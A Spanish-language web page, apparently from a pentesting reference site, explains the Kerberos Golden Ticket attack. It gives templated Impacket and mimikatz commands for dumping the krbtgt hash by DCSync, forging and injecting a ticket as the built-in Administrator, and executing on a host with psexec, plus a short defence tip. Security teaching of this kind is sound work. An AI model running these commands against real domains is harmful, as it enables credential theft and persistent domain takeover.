Persistencia

Golden Ticket

Cómo un atacante con el hash de krbtgt falsifica tickets Kerberos que todo el dominio acepta como válidos.

Qué es

Golden Ticket es un TGT de Kerberos falsificado con el hash de la cuenta krbtgt. Con ese hash el atacante emite tickets válidos para cualquier identidad del dominio, con los grupos y la duración que quiera. Es persistencia: el ticket sigue vivo aunque cambien la contraseña de la cuenta suplantada.

Cómo funciona

Los Domain Controllers confían en cualquier TGT que se descifre con la clave de krbtgt. No revalidan la identidad que va dentro.

Con el hash de krbtgt el atacante arma un TGT desde cero. Escribe el usuario, los grupos y la duración que quiere dentro del PAC. Lo cifra con la clave de krbtgt. El dominio no puede distinguirlo de uno legítimo.

Por eso cambiar la contraseña de la cuenta suplantada no sirve. El ticket nunca dependió de ella. Solo dependió de la clave de krbtgt.

Diagrama

Comandos

Sacar el hash de krbtgt por DCSync, con Impacket desde Linux:

secretsdump.py <DOMAIN>/<USER>:<PASSWORD>@<IP> -just-dc-user krbtgt

Lo mismo con mimikatz, desde Windows:

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

Obtener el SID del dominio:

lookupsid.py <DOMAIN>/<USER>:<PASSWORD>@<IP>

Falsificar el ticket con Impacket, desde Linux. Guarda un archivo .ccache con el nombre del usuario suplantado:

ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOMAIN> <USER>

Cargar ese .ccache en la sesión actual:

export KRB5CCNAME=<FILE>

Falsificar e inyectar el ticket con mimikatz, desde Windows. /id:500 apunta al Administrador integrado y /ptt lo mete en la sesión:

kerberos::golden /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /user:<USER> /id:500 /ptt

Usar el ticket cargado para ejecutar en un objetivo:

psexec.py -k -no-pass <DOMAIN>/<USER>@<HOST>

Cómo defenderse

Cambia la contraseña de krbtgt dos veces: es lo único que invalida los tickets ya falsificados.

Siguiente

Puedes seguir leyendo aquí:

PersistenciaForjar Golden Certificates

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.